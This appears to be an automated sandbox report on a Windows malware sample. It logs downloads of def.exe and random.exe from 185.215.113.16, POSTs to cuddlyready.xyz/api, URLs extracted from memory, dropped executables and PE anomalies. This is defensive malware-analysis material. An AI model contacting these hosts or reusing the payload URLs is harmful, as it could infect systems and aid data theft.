Source: global traffic	HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16

Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16

Source: global traffic	HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache

Source: global traffic

DNS traffic detected: DNS query: cuddlyready.xyz

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: cuddlyready.xyz

Source: FBVmDbz2nb.exe, 00000000.00000003.1644302712.0000000001612000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/
Source: FBVmDbz2nb.exe, 00000000.00000003.1644302712.0000000001612000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exe
Source: FBVmDbz2nb.exe, 00000000.00000003.1644302712.0000000001612000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exeN
Source: FBVmDbz2nb.exe, 00000000.00000003.1644302712.0000000001612000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exe_
Source: FBVmDbz2nb.exe, FBVmDbz2nb.exe, 00000000.00000003.1644302712.0000000001612000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exe
Source: FBVmDbz2nb.exe, 00000000.00000003.1644354224.0000000001600000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exeQV
Source: FBVmDbz2nb.exe, 00000000.00000003.1644302712.0000000001612000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exeX
Source: FBVmDbz2nb.exe, 00000000.00000003.1644387683.00000000015B5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exeq
Source: FBVmDbz2nb.exe	String found in binary or memory: http://185.215.113.16:80/steam/random.exe
Source: FBVmDbz2nb.exe, 00000000.00000003.1644354224.0000000001600000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16:80/steam/random.exeDateProxy-Connectionkeep-aliveConnectionCache-Control
Source: RBZFTNPOH3OCI4WNHGK52I3.exe, 00000004.00000002.1758332356.000000000116E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206
Source: RBZFTNPOH3OCI4WNHGK52I3.exe, 00000004.00000002.1758332356.00000000011D4000.00000004.00000020.00020000.00000000.sdmp, RBZFTNPOH3OCI4WNHGK52I3.exe, 00000004.00000002.1758332356.000000000118C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/
Source: RBZFTNPOH3OCI4WNHGK52I3.exe, 00000004.00000002.1758332356.00000000011D4000.00000004.00000020.00020000.00000000.sdmp, RBZFTNPOH3OCI4WNHGK52I3.exe, 00000004.00000002.1758332356.00000000011B5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php
Source: RBZFTNPOH3OCI4WNHGK52I3.exe, 00000004.00000002.1758332356.00000000011D4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php/
Source: RBZFTNPOH3OCI4WNHGK52I3.exe, 00000004.00000002.1758332356.00000000011B5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpZg
Source: RBZFTNPOH3OCI4WNHGK52I3.exe, 00000004.00000002.1758332356.00000000011B5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpfg
Source: FBVmDbz2nb.exe, 00000000.00000003.1465367587.0000000005EEA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: FBVmDbz2nb.exe, 00000000.00000003.1465367587.0000000005EEA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: FBVmDbz2nb.exe, 00000000.00000003.1555320498.0000000001600000.00000004.00000020.00020000.00000000.sdmp, FBVmDbz2nb.exe, 00000000.00000003.1415914128.00000000015EB000.00000004.00000020.00020000.00000000.sdmp, FBVmDbz2nb.exe, 00000000.00000003.1514041585.00000000015EB000.00000004.00000020.00020000.00000000.sdmp, FBVmDbz2nb.exe, 00000000.00000003.1513481028.00000000015EB000.00000004.00000020.00020000.00000000.sdmp, FBVmDbz2nb.exe, 00000000.00000003.1492388797.00000000015EB000.00000004.00000020.00020000.00000000.sdmp, FBVmDbz2nb.exe, 00000000.00000003.1492171889.00000000015EB000.00000004.00000020.00020000.00000000.sdmp, FBVmDbz2nb.exe, 00000000.00000003.1393642084.00000000015EB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.micro
Source: FBVmDbz2nb.exe, 00000000.00000003.1465367587.0000000005EEA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: FBVmDbz2nb.exe, 00000000.00000003.1465367587.0000000005EEA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: FBVmDbz2nb.exe, 00000000.00000003.1465367587.0000000005EEA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: FBVmDbz2nb.exe, 00000000.00000003.1465367587.0000000005EEA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: FBVmDbz2nb.exe, 00000000.00000003.1465367587.0000000005EEA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: FBVmDbz2nb.exe, 00000000.00000003.1465367587.0000000005EEA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: FBVmDbz2nb.exe, 00000000.00000003.1465367587.0000000005EEA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: FBVmDbz2nb.exe, 00000000.00000003.1465367587.0000000005EEA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: FBVmDbz2nb.exe, 00000000.00000003.1465367587.0000000005EEA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: FBVmDbz2nb.exe, 00000000.00000003.1417279577.0000000005E69000.00000004.00000800.00020000.00000000.sdmp, FBVmDbz2nb.exe, 00000000.00000003.1417377057.0000000005E69000.00000004.00000800.00020000.00000000.sdmp, FBVmDbz2nb.exe, 00000000.00000003.1417216166.0000000005E6C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: FBVmDbz2nb.exe, 00000000.00000003.1466899359.0000000001626000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696495411400900000.2&ci=1696495411208.
Source: FBVmDbz2nb.exe, 00000000.00000003.1466899359.0000000001626000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696495411400900000.1&ci=1696495411208.12791&cta
Source: FBVmDbz2nb.exe, 00000000.00000003.1417279577.0000000005E69000.00000004.00000800.00020000.00000000.sdmp, FBVmDbz2nb.exe, 00000000.00000003.1417377057.0000000005E69000.00000004.00000800.00020000.00000000.sdmp, FBVmDbz2nb.exe, 00000000.00000003.1417216166.0000000005E6C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: FBVmDbz2nb.exe, 00000000.00000003.1417279577.0000000005E69000.00000004.00000800.00020000.00000000.sdmp, FBVmDbz2nb.exe, 00000000.00000003.1417377057.0000000005E69000.00000004.00000800.00020000.00000000.sdmp, FBVmDbz2nb.exe, 00000000.00000003.1417216166.0000000005E6C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: FBVmDbz2nb.exe, 00000000.00000003.1417279577.0000000005E69000.00000004.00000800.00020000.00000000.sdmp, FBVmDbz2nb.exe, 00000000.00000003.1417377057.0000000005E69000.00000004.00000800.00020000.00000000.sdmp, FBVmDbz2nb.exe, 00000000.00000003.1417216166.0000000005E6C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: FBVmDbz2nb.exe, 00000000.00000003.1466899359.0000000001626000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/CuERQnIs4CzqjKBh9os6_h9d4CUDCHO3oiqmAQO6VLM.25122.jpg
Source: FBVmDbz2nb.exe, 00000000.00000003.1466899359.0000000001626000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: FBVmDbz2nb.exe, 00000000.00000003.1488696179.0000000001626000.00000004.00000020.00020000.00000000.sdmp, FBVmDbz2nb.exe, 00000000.00000003.1465515722.0000000001626000.00000004.00000020.00020000.00000000.sdmp, FBVmDbz2nb.exe, 00000000.00000003.1442870633.0000000001626000.00000004.00000020.00020000.00000000.sdmp, FBVmDbz2nb.exe, 00000000.00000003.1531394418.000000000161F000.00000004.00000020.00020000.00000000.sdmp, FBVmDbz2nb.exe, 00000000.00000003.1466899359.0000000001626000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cuddlyready.xyz/
Source: FBVmDbz2nb.exe, 00000000.00000003.1393642084.00000000015B8000.00000004.00000020.00020000.00000000.sdmp, FBVmDbz2nb.exe, 00000000.00000003.1415914128.00000000015C0000.00000004.00000020.00020000.00000000.sdmp, FBVmDbz2nb.exe, 00000000.00000003.1415741852.00000000015B6000.00000004.00000020.00020000.00000000.sdmp, FBVmDbz2nb.exe, 00000000.00000003.1443138282.0000000005EAC000.00000004.00000800.00020000.00000000.sdmp, FBVmDbz2nb.exe, 00000000.00000003.1443051006.0000000005EAC000.00000004.00000800.00020000.00000000.sdmp, FBVmDbz2nb.exe, 00000000.00000003.1644387683.00000000015B5000.00000004.00000020.00020000.00000000.sdmp, FBVmDbz2nb.exe, 00000000.00000003.1442515745.0000000005EA9000.00000004.00000800.00020000.00000000.sdmp, FBVmDbz2nb.exe, 00000000.00000003.1531394418.0000000001612000.00000004.00000020.00020000.00000000.sdmp, FBVmDbz2nb.exe, 00000000.00000003.1444281739.0000000005EAC000.00000004.00000800.00020000.00000000.sdmp, FBVmDbz2nb.exe, 00000000.00000003.1517761363.0000000005EAC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cuddlyready.xyz/api
Source: FBVmDbz2nb.exe, 00000000.00000003.1415914128.00000000015C0000.00000004.00000020.00020000.00000000.sdmp, FBVmDbz2nb.exe, 00000000.00000003.1415741852.00000000015B6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cuddlyready.xyz/api2
Source: FBVmDbz2nb.exe, 00000000.00000003.1644387683.00000000015B5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cuddlyready.xyz/apiZ
Source: FBVmDbz2nb.exe, 00000000.00000003.1393642084.00000000015B8000.00000004.00000020.00020000.00000000.sdmp, FBVmDbz2nb.exe, 00000000.00000003.1415914128.00000000015C0000.00000004.00000020.00020000.00000000.sdmp, FBVmDbz2nb.exe, 00000000.00000003.1415741852.00000000015B6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cuddlyready.xyz/apig
Source: FBVmDbz2nb.exe, 00000000.00000003.1464773877.0000000001626000.00000004.00000020.00020000.00000000.sdmp, FBVmDbz2nb.exe, 00000000.00000003.1488696179.0000000001626000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cuddlyready.xyz/apioh
Source: FBVmDbz2nb.exe, 00000000.00000003.1393642084.00000000015B8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cuddlyready.xyz/d
Source: FBVmDbz2nb.exe, 00000000.00000003.1393642084.00000000015B8000.00000004.00000020.00020000.00000000.sdmp, FBVmDbz2nb.exe, 00000000.00000003.1415914128.00000000015C0000.00000004.00000020.00020000.00000000.sdmp, FBVmDbz2nb.exe, 00000000.00000003.1415741852.00000000015B6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cuddlyready.xyz/l
Source: FBVmDbz2nb.exe, 00000000.00000003.1514041585.00000000015C0000.00000004.00000020.00020000.00000000.sdmp, FBVmDbz2nb.exe, 00000000.00000003.1513481028.00000000015B5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cuddlyready.xyz/o
Source: FBVmDbz2nb.exe, 00000000.00000003.1393642084.00000000015B8000.00000004.00000020.00020000.00000000.sdmp, FBVmDbz2nb.exe, 00000000.00000003.1415914128.00000000015C0000.00000004.00000020.00020000.00000000.sdmp, FBVmDbz2nb.exe, 00000000.00000003.1415741852.00000000015B6000.00000004.00000020.00020000.00000000.sdmp, FBVmDbz2nb.exe, 00000000.00000003.1531394418.000000000161F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cuddlyready.xyz/pi
Source: FBVmDbz2nb.exe, 00000000.00000003.1415813302.0000000001583000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cuddlyready.xyz/qR
Source: FBVmDbz2nb.exe, 00000000.00000003.1555389177.000000000159A000.00000004.00000020.00020000.00000000.sdmp, FBVmDbz2nb.exe, 00000000.00000003.1644460394.000000000159A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cuddlyready.xyz:443/api
Source: FBVmDbz2nb.exe, 00000000.00000003.1393642084.00000000015B8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cuddlyready.xyz:443/apii
Source: FBVmDbz2nb.exe, 00000000.00000003.1417279577.0000000005E69000.00000004.00000800.00020000.00000000.sdmp, FBVmDbz2nb.exe, 00000000.00000003.1417377057.0000000005E69000.00000004.00000800.00020000.00000000.sdmp, FBVmDbz2nb.exe, 00000000.00000003.1417216166.0000000005E6C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: FBVmDbz2nb.exe, 00000000.00000003.1417279577.0000000005E69000.00000004.00000800.00020000.00000000.sdmp, FBVmDbz2nb.exe, 00000000.00000003.1417377057.0000000005E69000.00000004.00000800.00020000.00000000.sdmp, FBVmDbz2nb.exe, 00000000.00000003.1417216166.0000000005E6C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: FBVmDbz2nb.exe, 00000000.00000003.1417279577.0000000005E69000.00000004.00000800.00020000.00000000.sdmp, FBVmDbz2nb.exe, 00000000.00000003.1417377057.0000000005E69000.00000004.00000800.00020000.00000000.sdmp, FBVmDbz2nb.exe, 00000000.00000003.1417216166.0000000005E6C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: FBVmDbz2nb.exe, 00000000.00000003.1466899359.0000000001626000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pqd4plX4pbW1CbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi
Source: FBVmDbz2nb.exe, 00000000.00000003.1466556999.000000000615A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: FBVmDbz2nb.exe, 00000000.00000003.1466556999.000000000615A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: FBVmDbz2nb.exe, 00000000.00000003.1466899359.0000000001626000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_e149f5d53c9263616797a13067f7a114fa287709b159d0a5
Source: FBVmDbz2nb.exe, 00000000.00000003.1417279577.0000000005E69000.00000004.00000800.00020000.00000000.sdmp, FBVmDbz2nb.exe, 00000000.00000003.1417377057.0000000005E69000.00000004.00000800.00020000.00000000.sdmp, FBVmDbz2nb.exe, 00000000.00000003.1417216166.0000000005E6C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: FBVmDbz2nb.exe, 00000000.00000003.1417279577.0000000005E69000.00000004.00000800.00020000.00000000.sdmp, FBVmDbz2nb.exe, 00000000.00000003.1417377057.0000000005E69000.00000004.00000800.00020000.00000000.sdmp, FBVmDbz2nb.exe, 00000000.00000003.1417216166.0000000005E6C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: FBVmDbz2nb.exe, 00000000.00000003.1466899359.0000000001626000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.invisalign.com/?utm_source=admarketplace&utm_medium=paidsearch&utm_campaign=Invisalign&u
Source: FBVmDbz2nb.exe, 00000000.00000003.1466556999.000000000615A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.HCe2hc5EPKfq
Source: FBVmDbz2nb.exe, 00000000.00000003.1466556999.000000000615A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.oX6J3D7V9Efv
Source: FBVmDbz2nb.exe, 00000000.00000003.1466556999.000000000615A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: FBVmDbz2nb.exe, 00000000.00000003.1466556999.000000000615A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: FBVmDbz2nb.exe, 00000000.00000003.1466556999.000000000615A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/media/img/mozorg/mozilla-256.4720741d4108.jpg
Source: FBVmDbz2nb.exe, 00000000.00000003.1466556999.000000000615A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49729 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49717
Source: unknown	Network traffic detected: HTTP traffic on port 49717 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723
Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 443

Source: unknown	HTTPS traffic detected: 104.21.32.96:443 -> 192.168.2.9:49717 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.32.96:443 -> 192.168.2.9:49723 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.32.96:443 -> 192.168.2.9:49729 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.32.96:443 -> 192.168.2.9:49740 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.32.96:443 -> 192.168.2.9:49746 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.32.96:443 -> 192.168.2.9:49752 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.32.96:443 -> 192.168.2.9:49759 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.32.96:443 -> 192.168.2.9:49771 version: TLS 1.2

System Summary

PE file contains section with special chars

Source: FBVmDbz2nb.exe	Static PE information: section name:
Source: FBVmDbz2nb.exe	Static PE information: section name: .idata
Source: FBVmDbz2nb.exe	Static PE information: section name:
Source: 225E7CNEQKY05J8BSS2KINA.exe.0.dr	Static PE information: section name:
Source: 225E7CNEQKY05J8BSS2KINA.exe.0.dr	Static PE information: section name: .idata
Source: RBZFTNPOH3OCI4WNHGK52I3.exe.0.dr	Static PE information: section name:
Source: RBZFTNPOH3OCI4WNHGK52I3.exe.0.dr	Static PE information: section name: .idata

Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	Code function: 0_3_015D2134	0_3_015D2134
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	Code function: 0_3_01587835	0_3_01587835
Source: C:\Users\user\AppData\Local\Temp\225E7CNEQKY05J8BSS2KINA.exe	Code function: 3_2_002BDCB7	3_2_002BDCB7
Source: C:\Users\user\AppData\Local\Temp\225E7CNEQKY05J8BSS2KINA.exe	Code function: 3_2_002BE729	3_2_002BE729

Source: Joe Sandbox View	Dropped File: C:\Users\user\AppData\Local\Temp\225E7CNEQKY05J8BSS2KINA.exe 2AEBE4A6A652C6DE494CF0A16B36FF6788933B807A2651350960B5644C7A1185
Source: Joe Sandbox View	Dropped File: C:\Users\user\AppData\Local\Temp\RBZFTNPOH3OCI4WNHGK52I3.exe E65319903B70AE142A07B8BF5F4573AC65B428E26CD93CBF2380E5E00F4EFC0D

Source: FBVmDbz2nb.exe, 00000000.00000003.1610412679.000000000647E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs FBVmDbz2nb.exe
Source: FBVmDbz2nb.exe, 00000000.00000003.1609667454.00000000063C4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs FBVmDbz2nb.exe
Source: FBVmDbz2nb.exe, 00000000.00000003.1605046296.000000000637B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs FBVmDbz2nb.exe
Source: FBVmDbz2nb.exe, 00000000.00000003.1622536614.00000000062D9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs FBVmDbz2nb.exe
Source: FBVmDbz2nb.exe, 00000000.00000003.1620797571.00000000062DE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs FBVmDbz2nb.exe
Source: FBVmDbz2nb.exe, 00000000.00000003.1630745094.0000000006584000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs FBVmDbz2nb.exe
Source: FBVmDbz2nb.exe, 00000000.00000003.1623229875.00000000062D7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs FBVmDbz2nb.exe
Source: FBVmDbz2nb.exe, 00000000.00000003.1616926429.00000000063EF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs FBVmDbz2nb.exe
Source: FBVmDbz2nb.exe, 00000000.00000003.1616574065.00000000064E8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs FBVmDbz2nb.exe
Source: FBVmDbz2nb.exe, 00000000.00000003.1602870273.00000000062E2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs FBVmDbz2nb.exe
Source: FBVmDbz2nb.exe, 00000000.00000003.1610881417.00000000063C1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs FBVmDbz2nb.exe
Source: FBVmDbz2nb.exe, 00000000.00000003.1621126777.0000000006545000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs FBVmDbz2nb.exe
Source: FBVmDbz2nb.exe, 00000000.00000003.1608830864.000000000639A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs FBVmDbz2nb.exe
Source: FBVmDbz2nb.exe, 00000000.00000003.1620426936.00000000062DD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs FBVmDbz2nb.exe
Source: FBVmDbz2nb.exe, 00000000.00000003.1612766430.00000000063D2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs FBVmDbz2nb.exe
Source: FBVmDbz2nb.exe, 00000000.00000003.1607232582.0000000006441000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs FBVmDbz2nb.exe
